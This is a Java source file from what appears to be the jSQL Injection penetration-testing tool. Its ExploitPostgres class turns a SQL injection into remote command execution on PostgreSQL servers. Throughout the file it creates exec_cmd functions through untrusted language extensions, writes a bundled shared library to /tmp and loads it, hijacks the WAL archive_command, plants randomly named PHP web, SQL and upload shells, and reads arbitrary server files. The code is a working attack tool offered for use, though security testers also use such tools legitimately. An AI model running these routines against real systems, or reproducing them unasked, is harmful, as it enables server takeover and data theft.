View Javadoc
1   package com.jsql.model.accessible.vendor;
2   
3   import com.jsql.model.InjectionModel;
4   import com.jsql.model.accessible.DataAccess;
5   import com.jsql.model.accessible.ResourceAccess;
6   import com.jsql.model.accessible.vendor.postgres.ModelYamlPostgres;
7   import com.jsql.model.bean.database.MockElement;
8   import com.jsql.model.bean.util.Interaction;
9   import com.jsql.model.bean.util.Request;
10  import com.jsql.model.exception.AbstractSlidingException;
11  import com.jsql.model.exception.InjectionFailureException;
12  import com.jsql.model.exception.JSqlException;
13  import com.jsql.model.exception.JSqlRuntimeException;
14  import com.jsql.model.injection.vendor.model.VendorYaml;
15  import com.jsql.model.suspendable.SuspendableGetRows;
16  import com.jsql.util.LogLevelUtil;
17  import com.jsql.util.StringUtil;
18  import org.apache.commons.lang3.RandomStringUtils;
19  import org.apache.commons.lang3.StringUtils;
20  import org.apache.logging.log4j.LogManager;
21  import org.apache.logging.log4j.Logger;
22  import org.yaml.snakeyaml.Yaml;
23  
24  import java.io.File;
25  import java.io.FileInputStream;
26  import java.io.IOException;
27  import java.io.InputStream;
28  import java.net.http.HttpResponse;
29  import java.util.Arrays;
30  import java.util.List;
31  import java.util.Objects;
32  import java.util.UUID;
33  import java.util.function.BinaryOperator;
34  
35  public class ExploitPostgres {
36  
37      private static final Logger LOGGER = LogManager.getRootLogger();
38      private final InjectionModel injectionModel;
39      private String nameExtension = StringUtils.EMPTY;
40      private final ModelYamlPostgres modelYaml;
41  
42      public ExploitPostgres(InjectionModel injectionModel) {
43          this.injectionModel = injectionModel;
44          var yaml = new Yaml();
45          this.modelYaml = yaml.loadAs(
46              injectionModel.getMediatorVendor().getPostgres().instance().getModelYaml().getResource().getExploit(),
47              ModelYamlPostgres.class
48          );
49      }
50  
51      public void createUdf(String nameExtension) throws JSqlException {
52          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Exploit mode forced to query body");
53  
54          if (StringUtils.isNotEmpty(nameExtension)) {
55              this.setRceExtensionWhenActive(false, nameExtension);
56          } else {
57              var isUdfActive = this.setRceProgramWhenActive();
58              isUdfActive = this.setRceExtensionWhenActive(isUdfActive, nameExtension);
59              isUdfActive = this.setRceLibraryWhenActive(isUdfActive);
60              this.setRceArchiveWhenActive(isUdfActive);
61          }
62      }
63  
64      private String getCreateBasicExtension() {
65          String plCreateExtension = null;
66          if (this.nameExtension.startsWith("plpython")) {
67              plCreateExtension = String.format(this.modelYaml.getUdf().getPlpython(), this.nameExtension);
68          } else if (this.nameExtension.startsWith("plperl")) {
69              plCreateExtension = this.modelYaml.getUdf().getPlperl();
70          } else if (this.nameExtension.startsWith("pltcl")) {
71              plCreateExtension = this.modelYaml.getUdf().getPltcl();
72          } else if (this.nameExtension.startsWith("plr")) {
73              plCreateExtension = this.modelYaml.getUdf().getPlr();
74          } else if (this.nameExtension.startsWith("pllua")) {
75              plCreateExtension = this.modelYaml.getUdf().getPllua();
76          } else if (this.nameExtension.startsWith("plsh")) {
77              plCreateExtension = this.modelYaml.getUdf().getPlsh();
78          }
79          return plCreateExtension;
80      }
81  
82      private boolean setRceProgramWhenActive() {
83          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Program] requirements: stack query");
84          var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
85          this.injectionModel.injectWithoutIndex(String.format(
86              this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
87              nameTempTable
88          ), ResourceAccess.TBL_CREATE);
89          this.injectionModel.injectWithoutIndex(String.format(
90              this.modelYaml.getUdf().getProgram().getRun(),
91              nameTempTable,
92              ResourceAccess.WEB_CONFIRM_CMD
93          ), ResourceAccess.TBL_FILL);
94          var result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
95              this.modelYaml.getUdf().getProgram().getGetResult(),
96              nameTempTable
97          ), ResourceAccess.TBL_READ);
98          if (result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
99              LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Program] successful: command execution found");
100             var request = new Request();
101             request.setMessage(Interaction.ADD_TAB_EXPLOIT_UDF_PROGRAM_POSTGRES);
102             request.setParameters(null, null);
103             this.injectionModel.sendToViews(request);
104             return true;
105         }
106         return false;
107     }
108 
109     private boolean setRceExtensionWhenActive(boolean isUdfActive, String nameExtension) throws JSqlException {
110         if (isUdfActive) {
111             return true;
112         }
113         if (StringUtils.isNotEmpty(nameExtension)) {
114             this.nameExtension = this.getExtensionWhenCreated(nameExtension);  // could fail but IT only
115             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "IT RCE [Extension]: searching [{}], found [{}]", nameExtension, this.nameExtension);
116         } else {
117             this.nameExtension = StringUtils.EMPTY;
118             LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Extension] requirements: stack query, any of py/sh/pl/lua/sql/r/tcl installed");
119             for (var ext: Arrays.asList("plpython3u", "plpython2u", "plpythonu", "plperlu", "pltclu", "pllua", "plsh", "sql", "plr")) {
120                 if (StringUtils.isEmpty(this.nameExtension)) {
121                     this.nameExtension = this.getExtensionWhenCreated(ext);
122                 }
123             }
124             if (StringUtils.isEmpty(this.nameExtension)) {
125                 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE [Extension] failure: no extension found");
126                 return false;
127             }
128         }
129 
130         this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getDropFunc(), ResourceAccess.DROP_FUNC);
131 
132         String plCreateBasicExtension = this.getCreateBasicExtension();
133         if (plCreateBasicExtension != null) {
134             this.injectionModel.injectWithoutIndex(plCreateBasicExtension, ResourceAccess.ADD_FUNC);
135         } else if (this.nameExtension.startsWith("sql")) {
136             this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getDropTable(), ResourceAccess.TBL_DROP);
137             this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getCreateTable(), ResourceAccess.TBL_CREATE);
138             this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getConfirm().getAddFunc(), ResourceAccess.ADD_FUNC);
139             this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.RUN_FUNC);
140             var result = this.injectionModel.getResourceAccess().getResult(
141                 String.format(this.modelYaml.getUdf().getSql().getResultCmd(), StringUtils.EMPTY),
142                 ResourceAccess.BODY_CONFIRM
143             );
144             if (!"1337".equals(result)) {
145                 return false;
146             }
147         }
148 
149         var functions = this.injectionModel.getResourceAccess().getResult(
150             this.modelYaml.getUdf().getSql().getConfirm().getFuncExists(),
151             ResourceAccess.BODY_CONFIRM
152         );
153         if (!functions.contains("exec_cmd")) {
154             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "RCE failure: function not found");
155             return false;
156         }
157 
158         LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Extension] successful: function found for extension [{}]", this.nameExtension);
159         var request = new Request();
160         request.setMessage(Interaction.ADD_TAB_EXPLOIT_UDF_EXTENSION_POSTGRES);
161         request.setParameters(null, null);
162         this.injectionModel.sendToViews(request);
163         return true;
164     }
165 
166     public boolean setRceLibraryWhenActive(boolean isUdfActive) throws JSqlException {
167         if (isUdfActive) {
168             return true;
169         }
170 
171         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Library] requirements: stack query");
172         this.injectionModel.injectWithoutIndex(String.format(this.modelYaml.getUdf().getLibrary().getDropFunc()), ResourceAccess.DROP_FUNC);
173         var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
174             this.modelYaml.getUdf().getLibrary().getLoFromText(),
175             String.join(StringUtils.EMPTY, ExploitPostgres.toHexChunks("v10.64"))
176         ), ResourceAccess.ADD_LOID);
177         if (StringUtils.isEmpty(loid)) {
178             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
179             return false;
180         }
181         var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".so";
182         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
183             this.modelYaml.getUdf().getLibrary().getLoToFile(),
184             loid,
185             "/tmp/" + nameExploit
186         ), ResourceAccess.WRITE_LOID);
187         this.injectionModel.injectWithoutIndex(String.format(
188             this.modelYaml.getUdf().getLibrary().getCreateFunction(),
189             "/tmp/" + nameExploit
190         ), ResourceAccess.ADD_FUNC);
191         String result = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
192             this.modelYaml.getUdf().getLibrary().getRunFunc(),
193             ResourceAccess.WEB_CONFIRM_CMD + "%20"
194         ), "confirm");
195         if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
196             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
197             return false;
198         }
199         LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Library] successful");
200         var request = new Request();
201         request.setMessage(Interaction.ADD_TAB_EXPLOIT_UDF_LIBRARY_POSTGRES);
202         request.setParameters(null, null);
203         this.injectionModel.sendToViews(request);
204         return true;
205     }
206 
207     private void setRceArchiveWhenActive(boolean isUdfActive) throws JSqlException {
208         if (isUdfActive) {
209             return;
210         }
211 
212         LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE [Archive] requirements: archive_mode enabled");
213         if (!StringUtils.EMPTY.equals(this.runArchive(null))) {
214             LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "RCE [Archive] successful: command execution found");
215             var request = new Request();
216             request.setMessage(Interaction.ADD_TAB_EXPLOIT_UDF_WAL_POSTGRES);
217             request.setParameters(null, null);
218             this.injectionModel.sendToViews(request);
219         }
220     }
221 
222     private static List<String> toHexChunks(String filename) throws JSqlException {
223         try {
224             byte[] fileData = Objects.requireNonNull(  // getResource > toURI > toPath > readAllBytes() not possible in .jar
225                 ExploitMysql.class.getClassLoader().getResourceAsStream("exploit/postgres/"+ filename +".so")
226             ).readAllBytes();
227             return StringUtil.toHexChunks(fileData);
228         } catch (IOException e) {
229             throw new JSqlException(e);
230         }
231     }
232 
233     public String runRceLibraryCmd(String command, UUID uuidShell) {
234         String result;
235         try {
236             result = this.injectionModel.getResourceAccess().getResult(String.format(
237                 this.modelYaml.getUdf().getLibrary().getRunFunc(),
238                 command.replace(StringUtils.SPACE, "%20") + "%20"
239             ), ResourceAccess.RUN_FUNC);
240         } catch (JSqlException e) {
241             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
242         }
243         var request = new Request();
244         request.setMessage(Interaction.GET_TERMINAL_RESULT);
245         request.setParameters(uuidShell, result.trim() +"\n");  // missing newline on some extensions
246         this.injectionModel.sendToViews(request);
247         return result;
248     }
249 
250     private String runArchive(String command) throws JSqlException {
251         boolean isSetup = command == null;
252         String pathResult = "/tmp/cmd.txt";
253 
254         String status = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetStatus(), "wal#status");
255         if (isSetup && !status.contains("on")) {
256             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: archive_mode disabled");
257             return StringUtils.EMPTY;
258         }
259 
260         String pathConf = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetPathConf(), "conf#path");
261         String loidConf = this.injectionModel.getResourceAccess().getResult(String.format(
262             this.modelYaml.getFile().getRead().getLargeObject().getFromPath(),
263             pathConf
264         ), "conf#loid");
265         String lengthConf = this.injectionModel.getResourceAccess().getResult(String.format(
266             this.modelYaml.getUdf().getArchive().getGetConfLength(),
267             loidConf
268         ), "conf#size");
269 
270         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
271             this.modelYaml.getUdf().getArchive().getPutCmd(),
272             loidConf,
273             lengthConf,
274             isSetup ? ResourceAccess.WEB_CONFIRM_CMD +"%20" : command,
275             pathResult
276         ), "conf#append");
277 
278         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
279             this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
280             loidConf,
281             pathConf
282         ), "conf#write");
283         this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getArchive().getReloadConf(), "wal#reload");
284 
285         String cmdArchive = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getArchive().getGetCmd(), "cmd#confirm");
286         if (isSetup && !cmdArchive.contains(pathResult)) {
287             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: archive command missing");
288             return StringUtils.EMPTY;
289         }
290 
291         this.injectionModel.getResourceAccess().getResultWithCatch(this.modelYaml.getUdf().getArchive().getRunWal(), "wal#run");
292         try {
293             Thread.sleep(750);  // wait for result as archiving is slow
294         } catch (InterruptedException e) {
295             LOGGER.log(LogLevelUtil.IGNORE, e, e);
296             Thread.currentThread().interrupt();
297         }
298         String loidResult = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
299             this.modelYaml.getFile().getRead().getLargeObject().getFromPath(),
300             pathResult
301         ), "result#loid");
302         String result = this.injectionModel.getResourceAccess().getResult(String.format(
303             this.modelYaml.getFile().getRead().getLargeObject().getToText(),
304             loidResult
305         ), "result#read");
306 
307         if (isSetup && !result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
308             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit [Archive] failure: command result missing");
309             return StringUtils.EMPTY;
310         }
311         return result;
312     }
313 
314     private String getExtensionWhenCreated(String nameExtension) throws JSqlException {
315         LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Checking extension [{}]", nameExtension);
316         this.injectionModel.injectWithoutIndex(String.format(
317             this.modelYaml.getUdf().getExtension().getCreate(),
318             nameExtension
319         ), "body#add-ext");
320         String languages = this.injectionModel.getResourceAccess().getResult(
321             this.modelYaml.getUdf().getExtension().getLanguages(),
322             "body#confirm-ext"
323         );
324         if (languages.contains(nameExtension)) {
325             LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "Language [{}] found: {}", nameExtension, languages);
326             return nameExtension;
327         }
328         LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Language [{}] not found: {}", nameExtension, languages);
329         return StringUtils.EMPTY;
330     }
331 
332     public String runRceArchiveCmd(String command, UUID uuidShell) {
333         String result;
334         try {
335             result = this.runArchive(command.replace(StringUtils.SPACE, "%20") +"%20");
336         } catch (JSqlException e) {
337             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
338         }
339         var request = new Request();
340         request.setMessage(Interaction.GET_TERMINAL_RESULT);
341         request.setParameters(uuidShell, result.trim() +"\n");  // missing newline on some extensions
342         this.injectionModel.sendToViews(request);
343         return result;
344     }
345 
346     public String runRceProgramCmd(String command, UUID uuidShell) {
347         String result;
348         try {
349             var nameTempTable = RandomStringUtils.secure().nextAlphabetic(8);
350             this.injectionModel.injectWithoutIndex(String.format(
351                 this.modelYaml.getFile().getWrite().getTempTable().getAdd(),
352                 nameTempTable
353             ), ResourceAccess.TBL_CREATE);
354             this.injectionModel.injectWithoutIndex(String.format(
355                 this.modelYaml.getUdf().getProgram().getRun(),
356                 nameTempTable,
357                 command.replace(StringUtils.SPACE, "%20") +"%20"
358             ), ResourceAccess.TBL_FILL);
359             result = this.injectionModel.getResourceAccess().getResult(String.format(
360                 this.modelYaml.getUdf().getProgram().getGetResult(),
361                 nameTempTable
362             ), ResourceAccess.TBL_READ);
363         } catch (JSqlException e) {
364             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
365         }
366         var request = new Request();
367         request.setMessage(Interaction.GET_TERMINAL_RESULT);
368         request.setParameters(uuidShell, result.trim() +"\n");  // missing newline on some extensions
369         this.injectionModel.sendToViews(request);
370         return result;
371     }
372 
373     public String runRceExtensionCmd(String command, UUID uuidShell) {
374         String result;
375         try {
376             if ("sql".equals(this.nameExtension)) {
377                 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getClean(), "body#empty-tbl");
378                 this.injectionModel.injectWithoutIndex(String.format(
379                     this.modelYaml.getUdf().getSql().getRunFunc(),
380                     command.replace(StringUtils.SPACE, "%20")
381                 ), ResourceAccess.ADD_FUNC);
382                 this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getSql().getRunCmd(), ResourceAccess.UDF_RUN_CMD);
383                 result = this.injectionModel.getResourceAccess().getResult(String.format(
384                     this.modelYaml.getUdf().getSql().getResultCmd(),
385                     VendorYaml.TRAIL_SQL
386                 ), "body#result") +"\n";
387             } else {
388                 result = this.injectionModel.getResourceAccess().getResult(
389                     String.format(
390                         this.modelYaml.getUdf().getRunFunc(),
391                         command.replace(StringUtils.SPACE, "%20"),  // prevent SQL cleaning on system cmd: 'ls-l' instead of 'ls -l'
392                         VendorYaml.TRAIL_SQL
393                     ),
394                     ResourceAccess.UDF_RUN_CMD
395                 );
396             }
397         } catch (JSqlException e) {
398             result = String.format(ResourceAccess.TEMPLATE_ERROR, e.getMessage(), command);
399         }
400         var request = new Request();
401         request.setMessage(Interaction.GET_TERMINAL_RESULT);
402         request.setParameters(uuidShell, result.trim() +"\n");  // missing newline on some extensions
403         this.injectionModel.sendToViews(request);
404         return result;
405     }
406 
407     public String createWeb(String pathExploit, String urlExploit) {
408         String bodyExploit = StringUtil.base64Decode(
409                 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB)
410             )
411             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
412             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
413 
414         var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
415             this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
416             bodyExploit.replace("'", "\"")
417         ), ResourceAccess.ADD_LOID);
418         if (StringUtils.isEmpty(loid)) {
419             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
420             return StringUtils.EMPTY;
421         }
422         var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
423         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
424             this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
425             loid,
426             pathExploit + nameExploit
427         ), ResourceAccess.WRITE_LOID);
428 
429         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
430             String result = this.injectionModel.getResourceAccess().callCommand(
431                 urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
432             );
433             if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
434                 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
435                 return StringUtils.EMPTY;
436             }
437             var request = new Request();
438             request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB);
439             request.setParameters(urlSuccess);
440             this.injectionModel.sendToViews(request);
441             return urlSuccess;
442         };
443 
444         return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
445     }
446 
447     public String createSql(String pathExploit, String urlExploit, String username, String password) {
448         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
449             var resultQuery = this.injectionModel.getResourceAccess().runSqlShell(
450                 ResourceAccess.SQL_CONFIRM_CMD,
451                 null,
452                 urlSuccess,
453                 username,
454                 password,
455                 false
456             );
457             if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) {
458                 var request = new Request();
459                 request.setMessage(Interaction.ADD_TAB_EXPLOIT_SQL);
460                 request.setParameters(urlSuccess, username, password);
461                 this.injectionModel.sendToViews(request);
462                 return urlSuccess;
463             }
464             return StringUtils.EMPTY;
465         };
466 
467         String bodyExploit = StringUtil.base64Decode(
468                 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty("exploit.sql.pdo.pgsql")
469             )
470             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
471             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
472 
473         var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
474             this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
475             bodyExploit.replace("'", "\"")
476         ), ResourceAccess.ADD_LOID);
477         if (StringUtils.isEmpty(loid)) {
478             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
479             return StringUtils.EMPTY;
480         }
481         var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
482         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
483             this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
484             loid,
485             pathExploit + nameExploit
486         ), ResourceAccess.WRITE_LOID);
487 
488         return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
489     }
490 
491     public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
492         String bodyExploit = StringUtil.base64Decode(
493                 this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
494             )
495             .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
496             .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
497 
498         var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
499             this.modelYaml.getFile().getWrite().getLargeObject().getFromText(),
500             bodyExploit.replace("'", "\"")
501         ), ResourceAccess.ADD_LOID);
502         if (StringUtils.isEmpty(loid)) {
503             LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.LOID_NOT_FOUND);
504             return;
505         }
506         var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
507         this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
508             this.modelYaml.getFile().getWrite().getLargeObject().getToFile(),
509             loid,
510             pathExploit + nameExploit
511         ), ResourceAccess.WRITE_LOID);
512 
513         BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
514             try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
515                 HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
516                 if (result.body().contains(DataAccess.LEAD +"y")) {
517                     LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
518                 } else {
519                     LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
520                 }
521             } catch (InterruptedException e) {
522                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
523                 Thread.currentThread().interrupt();
524             } catch (IOException | JSqlException e) {
525                 throw new JSqlRuntimeException(e);
526             }
527             return urlSuccess;
528         };
529 
530         this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
531     }
532 
533     public String getRead(String pathFile) throws AbstractSlidingException {
534         String resultToParse = StringUtils.EMPTY;
535         try {
536             resultToParse = new SuspendableGetRows(this.injectionModel).run(
537                 String.format(
538                     this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getFromDataFolder(),
539                     pathFile
540                 ),
541                 new String[]{ StringUtils.EMPTY },
542                 false,
543                 1,
544                 MockElement.MOCK,
545                 ResourceAccess.FILE_READ
546             );
547         } catch (InjectionFailureException e) {
548             LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Read data folder failure, trying with large object");
549             var loid = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
550                 this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getLargeObject().getFromPath(),
551                 pathFile
552             ), ResourceAccess.ADD_LOID);
553             if (StringUtils.isNotEmpty(loid)) {
554                 resultToParse = this.injectionModel.getResourceAccess().getResultWithCatch(String.format(
555                     this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getLargeObject().getToText(),
556                     loid
557                 ), ResourceAccess.READ_LOID);
558             }
559             if (StringUtils.isEmpty(resultToParse)) {
560                 LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Read large object failure, trying with stack read");
561                 var nameLibraryRandom = "tmp_" + RandomStringUtils.secure().nextAlphabetic(8);  // no dash in table name
562                 this.injectionModel.injectWithoutIndex(String.format(
563                     this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getWrite().getTempTable().getDrop(),
564                     nameLibraryRandom
565                 ), ResourceAccess.TBL_DROP);
566                 this.injectionModel.injectWithoutIndex(String.format(
567                     this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getWrite().getTempTable().getAdd(),
568                     nameLibraryRandom
569                 ), ResourceAccess.TBL_CREATE);
570                 this.injectionModel.injectWithoutIndex(String.format(
571                     this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getWrite().getTempTable().getFill(),
572                     nameLibraryRandom,
573                     pathFile
574                 ), ResourceAccess.TBL_FILL);
575                 resultToParse = new SuspendableGetRows(this.injectionModel).run(
576                     String.format(
577                         this.injectionModel.getResourceAccess().getExploitPostgres().getModelYaml().getFile().getRead().getFromTempTable(),
578                         nameLibraryRandom
579                     ),
580                     new String[]{ StringUtils.EMPTY },
581                     false,
582                     1,
583                     MockElement.MOCK,
584                     ResourceAccess.TBL_READ
585                 );
586             }
587         }
588         return resultToParse;
589     }
590 
591     public ModelYamlPostgres getModelYaml() {
592         return this.modelYaml;
593     }
594 }